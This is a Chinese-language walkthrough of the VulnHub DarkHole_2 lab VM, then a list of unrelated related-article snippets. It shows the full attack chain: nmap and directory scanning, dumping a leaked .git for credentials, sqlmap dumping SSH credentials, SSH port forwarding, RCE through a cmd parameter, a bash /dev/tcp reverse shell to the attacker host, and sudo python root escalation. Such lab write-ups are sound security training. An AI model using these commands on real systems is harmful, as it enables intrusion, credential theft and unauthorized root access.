VulnHub-DarkHole_2靶机渗透教程
1.靶机部署
[Onepanda] Mik1ysomething
靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip
直接使用VMware导入打开就行
注意:靶机的网络连接模式必须和kali一样,让靶机跟kali处于同一网段,这样kali才能扫出靶机的地址。
2.信息收集
2.1 获取靶机ip(arp-scan/nmap)
2.信息收集
2.1 获取靶机ip(arp-scan/nmap)
arp-scan -l nmap 192.168.135.0/24
2.2 详细信息扫描(nmap)
nmap -sS -T5 -sC -p- --min-rate 10000 192.168.135.135 nmap -sS -p---min-rate 10000 $ip
发现开放了80端口,访问一下看看
2.3 敏感目录扫描(dirsearch/dirb/gobuster/御剑/7bscan)
dirsearch -u http://192.168.135.135 -e * dirb http://192.168.135.135
2.4 指纹收集(whatweb)
whatweb -v 192.168.135.135
3.渗透过程
3.1 访问敏感目录文件
信息收集时发现存在.git目录,访问存在文件
3.2 git文件泄露
使用git-dumper工具分析git文件
没有的话安装地址:git-dumper/README.md at master · arthaud/git-dumper · GitHub
git-dumper: 一个.git文件夹的dump取,但是这个工具dump下的文件是可以执行git命令的
3.2.1 git-dumper下载git文件夹的内容到bf目录文件夹
3.2.2 bf文件夹中查看日志
git log命令解释:
3.2.3 对比三次提交
使用git里面的diff参数获得当前工作目录和上次提交的差距,三个哈希值一个一个尝试。
git diff 0f1d821f48a9cf662f285457a5ce9af6b9feb2c4 git diff a4d900a8d85e8938d3601f3cef113ee293028e10 git diff aa2a5f3aa15bb402f2b90a07d86af57436d64917
尝试到第二个发现一组用户名和密码信息
lush/321 lush@admin.com/321
3.3 登录网页
前面信息收集还有一个web网页端,尝试登录
登录成功
进入页面发现url里面存在id=1,发现id值是不是想到SQL注入。
当我们将id的值设置0或者null页面的消息消失。
尝试后面加个单引号,发现报错,确定存在SQL注入
3.4 SQL注入
3.4.1 获取网站的cookie的值
直接f12刷新找回包(不会?找不到?直接私信我手把手教你)
3.4.2 利用获取的cookie的值进行爆破(sqlmap)
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 --current-db sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -dbs sqlmap爆破得到数据库名darkhole_2
sqlmap基本操作笔记: -u #注入点 -f #指纹判别数据库类型 -b #获取数据库版本信息 -p #指定可测试的参数(?page=1&id=2 -p "page,id") -D "" #指定数据库名 -T "" #指定表名 -C "" #指定字段 -s "" #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s "xx.log" 恢复:-s "xx.log" --resume) --level=(1-5) #要执行的测试水平等级,默认为1 --risk=(0-3) #测试执行的风险等级,默认为1 --time-sec=(2,5) #延迟响应,默认为5 --data #通过POST发送数据 --columns #列出字段 --current-user #获取当前用户名称 --current-db #获取当前数据库名称 --users #列数据库所有用户 --passwords #数据库用户所有密码 --privileges #查看用户权限(--privileges -U root) -U #指定数据库用户 --dbs #列出所有数据库 --tables -D "" #列出指定数据库中的表 --columns -T "user" -D "mysql" #列出mysql数据库中的user表的所有字段 --dump-all #列出所有数据库所有表 --exclude-sysdbs #只列出用户自己新建的数据库和表 --dump -T "" -D "" -C "" #列出指定数据库的表的字段的数据(--dump -T users -D master -C surname) --dump -T "" -D "" --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据 --dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB) --os #指定系统(Linux,Windows)
3.4.3 获取数据库darkhole_2下的表名
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 --tables --batch 爆破得到两个表ssh/users
3.4.4 获取表里的列信息
sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T users -dump sqlmap -u http://192.168.135.135/dashboard.php?id=1 --cookie PHPSESSID=tbd7j9nf62b8nhbimkqv86bvh7 -D darkhole_2 -T ssh -dump 爆破得到ssh用户名和密码 jehad/fool
3.4.5 SSH连接
ssh jehad@192.168.135.135 jehad/fool
3.5 提权
3.5.1 查看权限
3.5.2 查找SUID文件
find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000 -print 2>/dev/null
3.5.3 查看计划任务
cat /etc/crontab
查看一下/opt/web下的文件内容
发现允许远程命令执行
3.5.4 查看历史命令
cat .bash_history
3.5.5 查看/etc/passwd文件
cat /etc/passwd |grep "bin/bash" 发现多个用户
3.5.6 详细查看服务(命令执行)
curl "http://localhost:9999/?cmd=cat%20/etc/passwd" curl "http://localhost:9999/?cmd=id"
可以查看到这个服务归属于用户losy
3.5.7 获取losy权限
重新登录ssh,使本地端口与靶机端口映射,访问本地端口转发到靶机 ssh jehad@192.168.135.135 -L 9999:localhost:9999 ssh -L 9999:127.0.0.1:9999 jehad@192.168.135.135
3.5.8 反弹shell
在之前我们通过查看历史命令发现可以进行远程命令执行,而命令执行的角色属性是losy用户的。使用SSH 隧道连接端口 9999,访问 127.0.0.1:9999 进行 RCE。
kali构造 bash -c 'sh -i >& /dev/tcp/192.168.135.129/1234 0>&1' url编码: bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27
kali使用nc开启端口监听
nc -lvnp 1234
kali可以在浏览器直接访问:
http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27
也可以通过curl的访问
curl http://127.0.0.1:9999/?cmd=bash+-c+%27sh+-i+%3e%26+%2fdev%2ftcp%2f192.16 8.135.129%2f1234+0%3e%261%27
成功拿到losy权限
直接交互式shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
历史命令history查看发现password密码:gang
直接ssh连接losy用户
ssh losy@192.168.135.135
sudo -l 利用python提权 sudo python3 -c 'import pty; pty.spawn("/bin/bash")' sudo python3 -c 'import os; os.system("/bin/bash")'
cd /root cat root.txt 获取到flag文件
本篇文章渗透结束 感谢大家的观看!!
相关文章:
VulnHub-DarkHole_2靶机渗透教程
1.靶机部署 [Onepanda] Mik1ysomething 靶机下载:https://download.vulnhub.com/darkhole/darkhole_2.zip 直接使用VMware导入打开就行 注意:靶机的网络连接模式必须和kali一样,让靶机跟kali处于同一网段,这样kali才能扫出靶机…...
cf | Common Multiple
题目: 代码: 无注释版: #include<bits/stdc.h> using namespace std; #define int long long signed main(){int t;cin>>t;while(t--){int n;cin>>n;map<int,int> mp;mp.clear();for(int i1;i<n;i){int x;cin…...
leetcode hot100尝试1
目录 给定一个整数数组 nums 和一个整数目标值 target,请你在该数组中找出 和为目标值 target 的那 两个 整数,并返回它们的数组下标。 你可以假设每种输入只会对应一个答案,并且你不能使用两次相同的元素。 你可以按任意顺序返回答案。 c m…...
大模型Agent
一 大模型Agent是什么 (一)大模型Agent是指基于大语言模型的,能使用工具与外部世界进行交互的计算机程序 感知(Perception): ● 家庭助理通过摄像头、麦克风、传感器等设备获取家庭成员的活动信息和环境状…...
阻塞队列的介绍和简单实现——多线程编程简单案例[多线程编程篇(4)]
目录 前言 阻塞队列 阻塞队列相比普通队列的优势 1.天然线程安全 2.实现生产者-消费者模型更加简单 3.自动等待与唤醒 生产者-消费者模型 JAVA标准库中的阻塞队列 阻塞队列的简单实现 前言 在现代软件开发中,多线程编程能力已经成为程序员必须掌握的一项核心…...
服务器配置环境-condapytorch_20250422
文章目录 前言一、conda环境1.1 创建固定python版本的conda环境1.2 激活 Conda 环境1.3 关闭 Conda 环境 二、版本查看CUDA版本当电脑里有多个CUDN时 对照表下载 资源 前言 一、conda环境 1.1 创建固定python版本的conda环境 conda create --name tang_py_3.12 python3.12.41…...
Android Gradle Plugin (AGP) 和 Gradle 的關係
Android Gradle Plugin (AGP) 与 Gradle 的核心关系解析 一、功能定位 Gradle 的通用性 Gradle 是跨平台构建工具,支持 Java、Kotlin、C 等多种语言,提供任务自动化、依赖管理等功能。 通过 build.gradle 文件定义构建脚本,管理编译、测试…...
字典树(前缀树)的实现(5)0423
字典树又称前缀树或Trie树,是处理字符串中常见的数据结构。假设组成所有单词的字符仅是"a"~"z",请实现字典树结构,并包含以下四个功能。 void insert(String word) :添加word,可重复添加。 void delete(Str…...
PHP 反序列化原生类 TIPS字符串逃逸CVE 绕过漏洞属性类型特征
#PHP- 属性类型 - 共有 & 私有 & 保护 1 、对象变量属性: public( 公共的 ): 在本类内部、外部类、子类都可以访问 protect( 受保护的 ): 只有本类或子类或父类中可以访问 private( 私人的 ): 只有本类内部可以使用 2 、序列化数据显示: p…...
专题二十:路由策略与策略路由
一、路由策略 1.1 路由策略的概念 路由策略是通过修改路由表的路由条目来控制数据流量的可达性。即对接受和发布的路由进过滤。这种方式称为路由策略 路由策略功能相关作用控制路由的发布可通过路由策略对所要发布的路由信息进行过滤,只允许发布满足条件的路由信…...
Git 远程操作全攻略:从基础到实战
🌈 个人主页:Zfox_ 🔥 系列专栏:Git 企业级应用 目录 一:🔥 理解分布式版本控制系统 二:🔥 远程仓库 🦋 新建远程仓库🦋 克隆远程仓库🦋 向远程仓…...
VUE自动定义控件SwitchButton
<switch-button style"margin-left: 20rpx;" :buttons["一键打分", "快捷打分"] select"快捷打分" ButtonClick"SwitchButnClick"></switch-button> SwitchButton.vue <template><view class"Di…...
【数据可视化-24】巧克力销售数据的多维度可视化分析
🧑 博主简介:曾任某智慧城市类企业算法总监,目前在美国市场的物流公司从事高级算法工程师一职,深耕人工智能领域,精通python数据挖掘、可视化、机器学习等,发表过AI相关的专利并多次在AI类比赛中获奖。CSDN…...
STM32---串口通信USART
目录 一、串口通信协议 二、USART模块介绍 (1)移位寄存器 (2)控制电路 (3)波特率 (4)C语言接口 三、串口的引脚初始化 (1)引脚分布表 &…...
YOLO11改进-Backbone-引入TransXNet替换YOLO backbone 学习全局和局部动态信息,提高检测精度
Vision Transformer 的缺陷:Vision Transformer(ViT)运用多头自注意力机制在计算机视觉领域取得进展,但它缺乏卷积神经网络(CNNs)所具有的归纳偏差,导致泛化能力相对较弱。像 Swin Transformer …...
SQL 多表查询:数据整合与分析的强大工具
SQL 多表查询:数据整合与分析的强大工具 在关系型数据库中,数据通常被组织在多个表中。这种表的分离有助于减少冗余并提高数据的管理效率。然而,在实际应用中,往往需要对多个表中的数据进行整合查询,来获得更完整的信…...
MCU开发学习记录11 - ADC学习与实践(HAL库) - 单通道ADC采集、多通道ADC采集、定时器触发连续ADC采集 - STM32CubeMX
名词解释: ADC: Analog-to-Digital SAR:Successive Approximation Register 本文将介绍ADC的概念、相关函数以及STM32CubeMX生成ADC的配置函数。针对于ADC实践:单通道采集芯片内部温度传感器(ADC1_ch16)&a…...
MacOS中安装Python(homebrew,pyenv)
前言 由于MacOS中自带Python,而自带的Python关联到许多系统组件,不推荐 禁止使用自带Python 安装homebrew包管理器 homebrew官网 打开终端(terminal)输入以下命令 /bin/bash -c "$(curl -fsSL https://raw.githubusercon…...
从物理到预测:数据驱动的深度学习的结构化探索及AI推理
在当今科学探索的时代,理解的前沿不再仅仅存在于我们书写的方程式中,也存在于我们收集的数据和构建的模型中。在物理学和机器学习的交汇处,一个快速发展的领域正在兴起,它不仅观察宇宙,更是在学习宇宙。 AI推理 我们…...
新书速览|Hadoop与Spark大数据全景解析(视频教学版)
《Hadoop与Spark大数据全景解析:视频教学版》 01 本书内容 《Hadoop与Spark大数据全景解析:视频教学版》结合作者多年在大数据领域的开发实践经验,采用“理论实战”的形式,以大量实例全面介绍Hadoop和Spark的基础知识及其高级应用。作者将丰富的教学经…...
Linux:42线程控制lesson30
代码1:验证join可以去的线程执行完后的退出码/返回值 #include<iostream> #include<unistd.h> #include<pthread.h> #include<string> using namespace std;void* routine(void* arg){string name static_cast<const char*>(arg);i…...
配置 Apache 的 HTTPS
证书文件 文件名 作用 来源 example.com.key 服务器的私钥,用于加密和解密数据。 本地生成 -----BEGIN PRIVATE KEY----- MIIEowIBAAKCAQEAqp5c... -----END PRIVATE KEY----- example.com.csr Certificate Signing Request 证书签名请求文件,包…...
【Flutter高效开发】GetX指南:一文学会状态管理、路由与依赖注入
GetX是Flutter生态中最受欢迎的轻量级全能框架,以其简洁的API设计和卓越的性能著称。本文将带你全面掌握GetX的核心功能和使用技巧,提升你的Flutter开发效率。 一、GetX框架核心优势 1. 三位一体架构设计 模块功能传统方案对比状态管理响应式状态控制…...
第四节:核心概念高频题-Vue生命周期钩子变化
重命名:beforeDestroy→beforeUnmount,destroyed→unmounted 新增:onServerPrefetch(SSR场景) Vue 生命周期钩子变化详解(Vue2 → Vue3) 一、核心钩子重命名与语义优化 销毁阶段语义化升级 • …...
安全邮件系统的Maple实现详解
代码改进版: # # 安全邮件系统实现 - 结合DES和RSA加密 # 功能:实现安全的消息加密、签名和传输 # # -------------------------- # 第一部分:消息准备和加密 # --------------------------# 原始消息内容 message : "This is an atte…...
VTK-8.2.0源码编译(Cmake+VS2022+Qt5.12.12)
参考: 安装VTK 详细图文讲解CMake编译VTK,包含详细的编译环境版本 Visual Studio 2022 配置VTK9.3.0 VTK-8.2.0源码编译和初步使用(CmakeVS2015Qt5.14.2) 文章目录 下载编译编译环境介绍配置CMake信息BUILD_SHARED_LIBS控制生成的库是动态链接库…...
【playwright】学习--持续汇总
seleniumplaywrightselenium 需要结合其他自动化框架,比如pytest之后才能支持web自动化测试playwright 不需要其他自动化框架selenium库》webdriver》浏览器驱动playwright库》playwright driver》浏览器驱动 目录 安装playwright通过pip安装通过VScode安装 安装pla…...
深度解析算法之模拟
39.替换所有的问号 题目链接 给你一个仅包含小写英文字母和 ? 字符的字符串 s,请你将所有的 ? 转换为若干小写字母,使最终的字符串不包含任何 连续重复 的字符。 注意:你 不能 修改非 ? 字符。 题目测试用例保证 除 ? 字符 之外&#…...
leetcode刷题日记——插入区间
[ 题目描述 ]: [ 思路 ]: intervals 有序,需要将一个新的范围插入,然后进行整合方法一,将新的范围插入原 intervals 区间,然后使用 56 题的合并区间函数直接解决方法二, 找出能够包容 newInte…...
gbase8s存储学习一 rootdbs存储结构以及寻址分析
主要层次自下而上为 最小物理存储单元page ,多个page 组成逻辑存储单元extent,多个extent 组成物理存储单元chunk ,而多个chunk组成逻辑存储单元dbspace,多个dbspace 组成一个数据库实例 在数据库初始化阶段会生成一个rootdbs表空间,该表空…...
学习设计模式《五》——工厂方法模式
一、基础概念 工厂方法模式的本质是【延迟到子类来选择实现】; 工厂方法模式的定义:定义一个用于创建对象的接口,让子类决定实例化哪一个类,FactoryMethod使一个类的实例化延迟到其子类 。 工厂方法模式的功能 序号说明0工厂方法模…...
如何将 Azure Active Directory (Azure AD) 作为 SAML IdP 对接到 Keycloak
✅ 一、在 Azure AD 创建 SAML 应用 🔧 1. 登录 Azure 门户 前往 https://portal.azure.com,使用管理员账号登录。 📌 2. 创建企业应用(Enterprise Application) 左侧菜单进入 “企业应用程序”。点击 “新建应用程…...
OCR之身份证识别
前言 OCR身份证识别是光学字符识别技术在身份证领域的应用。通过扫描或拍照获取身份证图像,利用图像处理、深度学习等技术,自动提取姓名、性别、民族、出生日期、地址、身份证号等信息,可大幅提升信息录入效率,广泛应用于政务、金…...
JavaScript 渲染内容爬取:Puppeteer 高级技巧与实践
在现代网络应用中,动态网页内容的爬取一直是开发者面临的挑战之一。Puppeteer 作为一种强大的浏览器自动化工具,为这一问题提供了优雅的解决方案。本文将深入探讨 Puppeteer 的高级技巧,包括动态内容抓取、性能优化、反检测与伪装、复杂自动化…...
组织级项目管理OPM
组织级项目管理(Organizational Project Management, OPM)是一种系统化的管理方法,旨在通过整合项目组合、项目集和项目管理,确保组织的战略目标与项目执行的一致性,提升资源利用效率和项目成功率。以下是其核心内容与框架的详述: 一、组织级项目管理的定义与目标 定义 组…...
HTML与Web 性能优化:构建高速响应的现代网站
HTML 与 Web 性能优化:构建高速响应的现代网站 引言 随着互联网用户对网站加载速度期望的不断提高,前端性能优化已经成为现代 Web 开发的核心竞争力。据 Google 研究表明,页面加载时间每增加 1 秒,用户跳出率就会增加 32%。用户…...
模型 观测者效应
系列文章分享模型,了解更多👉 模型_思维模型目录。观察即影响,存在因注视而变。 1 观测者效应的应用 1.1 工业心理学—霍桑实验中的生产效率谜题 行业背景:20世纪20年代西方电气公司霍桑工厂,研究者试图通过优化照明…...
Ubuntu启动SMB(Samba)服务步骤
目录 1.基本的Samba服务器搭建流程主要分为四个步骤。 2.Samba工作流程: 3.解读主要配置文件smb.conf 4.开始安装Samba 5.检查Samba服务状态 6.创建Samba共享文件夹 7.配置Samba文件以及设置Samba用户密码 8.重启Samba服务器 9.关闭防火墙 10.Linux客户端…...
使用react的ant-design-pro框架写一个地图组件,可以搜索地图,可以点击地图获取点击的位置及经纬度
首先,先创建一个地图页面,用于显示地图组件,我是在pages文件中创建了一个mapSearch组件。 然后在routes.ts中注册页面。 {path: /mapSearch,name: mapSearch,icon: smile,component: ./mapSearch,}, 第三步就是使用高德地图来创建地图。 关键…...
【每日八股】复习计算机网络 Day4:TCP 协议的其他相关问题
文章目录 昨日内容复习已经建立了 TCP 连接,客户端突然出现故障怎么办?什么时候用长连接?短连接?TCP 的半连接队列与全连接队列?什么是 SYN 攻击?如何避免?TIME_WAIT 的作用?过多如何…...
Git远程操作与标签管理
目录 1.理解分布式版本控制系统 2.远程仓库 3.新建远程仓库 4.克隆远程仓库 5.向远程仓库推送 6.拉取远程仓库 7.配置Git 7.1.忽略特殊文件 7.2.给命令配置别名 8.标签管理 8.1.理解标签 8.2.创建标签 8.3.操作标签 1.理解分布式版本控制系统 Git是目前世界上…...
Element Plus消息通知体系深度解析:从基础到企业级实践
一、核心组件与技术定位 Element Plus的消息通知体系由三个核心组件构成:ElMessage(全局提示)、ElNotification(通知弹窗)和ElMessageBox(交互式对话框)。这套体系的设计目标是为开发者提供轻量…...
SpringCloud组件——Eureka
一.背景 1.问题提出 我们在一个父项目下写了两个子项目,需要两个子项目之间相互调用。我们可以发送HTTP请求来获取我们想要的资源,具体实现的方法有很多,可以用HttpURLConnection、HttpClient、Okhttp、 RestTemplate等。 举个例子&#x…...
[Godot] C#2D平台游戏基础移动和进阶跳跃代码
本文章给大家分享一下如何实现基本的移动和进阶的跳跃(跳跃缓冲、可变跳跃、土狼时间)以及相对应的重力代码,大家可以根据自己的需要自行修改 实现效果 场景搭建 因为Godot不像Unity,一个节点只能绑定一个脚本,所以我…...
C语言对n进制的处理
先看一道题目: 从键盘获取一个正整数,如果把它转为16进制的数字,那么它是一个几位数呢?如果把它转为28进制又是一个几位数呢? 在讲这个题目之前,我们先要了解进制转换 什么是进制转换? 简单来说,进制就是数位的表示方法。 十进制(常用&am…...
rk3568main.cc解析
rk3568main.cc解析 前言解析总结前言 正点原子rk3568学习,rk官方RKNN_MODEL_ZOO文件中 rknn_model_zoo-main/examples/mobilenet/cpp/main.cc 从执行命令:./build-linux.sh -t rk3568 -a aarch64 -d mobilenet 到: cmake ../../examples/mobilenet/cpp \-DTARGET_SOC=rk3…...
【白雪讲堂】[特殊字符]内容战略地图|GEO优化框架下的内容全景布局
📍内容战略地图|GEO优化框架下的内容全景布局 1️⃣ 顶层目标:GEO优化战略 目标关键词: 被AI理解(AEO) 被AI优先推荐(GEO) 在关键场景中被AI复读引用 2️⃣ 三大引擎逻辑&#x…...
S32K144学习(16)-Bootloader
1.什么是bootloader Bootloader(引导加载程序) 是存储在设备非易失性存储器(如 ROM、Flash)中的一段特殊程序,负责在设备上电后初始化硬件、加载操作系统(OS)或用户应用程序,并最终…...
反素数c++
先上代码 #include<bits/stdc.h> using namespace std; typedef long long ll; ll n; ll p[]{2,3,5,7,11,13,17,19,23,29,31,37,41,43,47,53}; int maxd,maxval; void dfs(int pl,ll tmp,int num,int up){ if((num>maxd)||(nummaxd&&maxval>tmp)){ …...
C++ linux打包运行方案(cmake)
文章目录 背景动态库打包方案动态库转静态库动态库打到软件包中 运行 背景 使用C编写的一个小项目,需要打包成ubuntu下的可执行文件,方便分发给其他ubuntu执行,因为docker镜像方案过于臃肿,所以需要把项目的动态库都打在软件包中…...